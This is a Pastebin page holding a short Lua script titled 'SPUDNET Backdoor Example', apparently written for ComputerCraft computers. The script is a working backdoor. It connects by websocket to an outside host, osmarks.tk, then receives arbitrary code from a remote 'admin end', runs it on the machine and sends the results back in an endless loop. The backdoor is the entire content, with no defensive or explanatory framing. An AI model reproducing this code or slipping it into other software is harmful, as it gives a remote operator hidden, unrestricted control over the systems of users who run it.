Advertisement
osmarks

SPUDNET Backdoor Example

Jan 21st, 2019
204
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.86 KB | None | 0 0
  1. local function safe_serialize(data)
  2.     local ok, res = pcall(textutils.serialise, data)
  3.     if ok then return res
  4.     else return textutils.serialise(tostring(data)) end
  5. end
  6.  
  7. local function websocket_backdoor()
  8.     if not http or not http.websocket then return "Websockets do not actually exist on this platform" end
  9.  
  10.     local ws = http.websocket "wss://osmarks.tk/wsthing/ShutdownOS"
  11.  
  12.     local function send(msg)
  13.         ws.send(safe_serialize(msg))
  14.     end
  15.  
  16.     local function recv()
  17.         return ws.receive()
  18.     end
  19.  
  20.     while true do
  21.         -- Receive and run code from backdoor's admin end
  22.         local code = recv()
  23.         local f, error = load(code, "@<backdoor>", "t")
  24.         if f then -- run safely in background, send back response
  25.             send {pcall(f)}
  26.         else
  27.             send {false, error}
  28.         end
  29.     end
  30. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement